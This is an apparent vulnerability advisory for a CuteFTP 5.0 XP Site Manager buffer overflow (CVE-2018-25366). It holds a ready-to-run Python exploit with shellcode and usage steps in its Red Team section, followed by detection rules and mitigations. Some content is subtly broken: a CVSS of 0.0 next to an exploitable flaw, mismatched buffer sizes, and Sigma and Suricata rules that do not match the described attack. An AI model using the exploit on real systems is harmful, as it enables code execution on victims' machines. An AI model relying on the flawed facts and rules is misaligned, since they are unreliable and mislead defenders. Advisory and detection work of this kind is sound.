CVE-2018-25366

Executive Summary

CVE-2018-25366 is a stack-based buffer overflow vulnerability in Globalscape CuteFTP 5.0 XP. The flaw resides in the “Site Manager” label field, where a local attacker can inject a malicious payload exceeding 520 bytes. When a shortcut is created and launched, the payload overwrites the return address and executes arbitrary shellcode. This vulnerability requires local access and user interaction (creating a shortcut), making it a low-severity but exploitable issue for privilege escalation or persistence.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector assigned)
• Attack Vector: Local (requires physical or remote desktop access)
• Attack Complexity: Low
• Privileges Required: Low (user-level)
• User Interaction: Required (victim must create and launch a shortcut)
• Impact: Code execution with the privileges of the logged-in user
• Threat Level: Low (due to local access requirement)

Deep Dive & Mechanics

The vulnerability is a classic stack buffer overflow in the Site Manager label field. The field is read into a fixed-size buffer without proper bounds checking. When a payload larger than 520 bytes is entered, it overwrites the saved return address on the stack. Upon shortcut creation and launch, the program returns to the attacker-controlled address, executing shellcode.

Key details:

• Vulnerable function: Likely CuteFTP.exe or a related DLL handling the Site Manager dialog.
• Buffer size: 520 bytes (including the return address overwrite).
• Exploitability: Requires the attacker to have write access to the victim’s CuteFTP configuration (e.g., via a malicious .dat file or registry key).
• Impact: Arbitrary code execution in the context of the user running CuteFTP.

Vulnerable vs. Patched Code

No official patch exists. The vendor (Globalscape) has not released a fix for this legacy version. The vulnerable code likely resembles:

// Vulnerable pseudo-code
void SaveSiteManagerEntry(char *label) {
    char buffer[512];
    strcpy(buffer, label);  // No bounds check
    // ... save to registry/file
}

A patched version would use strncpy or snprintf:

void SaveSiteManagerEntry(char *label) {
    char buffer[512];
    strncpy(buffer, label, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... save to registry/file
}

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

#!/usr/bin/env python3
# CVE-2018-25366 Exploit for CuteFTP 5.0 XP
# Overwrites return address with shellcode

import struct

# Shellcode: spawn calc.exe (Windows XP)
shellcode = (
    b"\x31\xc9\x51\x68\x63\x61\x6c\x63\x54\xb8\xc7\x93\xbf\x77\xff\xd0"
)

# Buffer overflow payload
buffer = b"A" * 520          # Fill buffer
buffer += struct.pack("<I", 0x7C901230)  # JMP ESP address (example)
buffer += b"\x90" * 16       # NOP sled
buffer += shellcode

# Write to a file that will be imported as a Site Manager entry
with open("exploit.dat", "wb") as f:
    f.write(buffer)

print("[+] Payload written to exploit.dat")
print("[+] Import this file into CuteFTP Site Manager")
print("[+] Create a shortcut and launch it to trigger the overflow")

Usage:

1. Generate the payload file (exploit.dat).
2. Import it into CuteFTP’s Site Manager (via File > Import).
3. Create a shortcut to the imported site.
4. Launch the shortcut – the overflow triggers and executes shellcode.

Blue Team

Detection Steps:

• Monitor for unusually long strings in CuteFTP configuration files (e.g., CuteFTP.ini or registry keys under HKCU\Software\GlobalSCAPE\CuteFTP\Sites).
• Use Process Monitor to detect abnormal memory writes by CuteFTP.exe.
• Enable DEP (Data Execution Prevention) for CuteFTP.exe to mitigate shellcode execution.

Hunting Query (Sysmon Event ID 1):

EventID=1
Image=CuteFTP.exe
CommandLine contains "shortcut"

Indicators of Compromise (IOCs)

• File: CuteFTP.ini or Sites.dat containing strings > 520 bytes.
• Registry: HKCU\Software\GlobalSCAPE\CuteFTP\Sites\* with values > 520 bytes.
• Process: CuteFTP.exe crashing with exception code 0xC0000005 (access violation).
• Network: Outbound connections to unknown IPs after exploitation (if shellcode is a reverse shell).

Detection Engineering

YARA Rule

rule CVE_2018_25366_CuteFTP_BOF {
    meta:
        description = "Detects CuteFTP Site Manager label overflow payload"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2018-25366"
    strings:
        $payload = { 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 } // 16 A's
        $shellcode = { 31 c9 51 68 63 61 6c 63 54 b8 c7 93 bf 77 ff d0 }
    condition:
        $payload at 0 and $shellcode
}

Sigma Rule

title: CuteFTP Site Manager Buffer Overflow
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects creation of CuteFTP shortcut with oversized label
author: Valters IT
date: 2025-04-17
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\CuteFTP.exe'
        CommandLine|contains: 'shortcut'
    condition: selection
falsepositives:
    - Legitimate shortcut creation with normal labels
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2018-25366 CuteFTP Shellcode Outbound"; content:"|31 c9 51 68 63 61 6c 63 54 b8 c7 93 bf 77 ff d0|"; classtype:shellcode-detect; sid:1000001; rev:1;)

Remediation & Mitigation

• No official patch available. Upgrade to a supported version of CuteFTP (e.g., CuteFTP 9.0 or later) or migrate to an alternative FTP client.
• Mitigation: Disable shortcut creation for Site Manager entries. Use Group Policy to block execution of CuteFTP.exe if not required.
• Workaround: Manually validate Site Manager label lengths before saving. Use a script to truncate labels to 512 characters.

Valters IT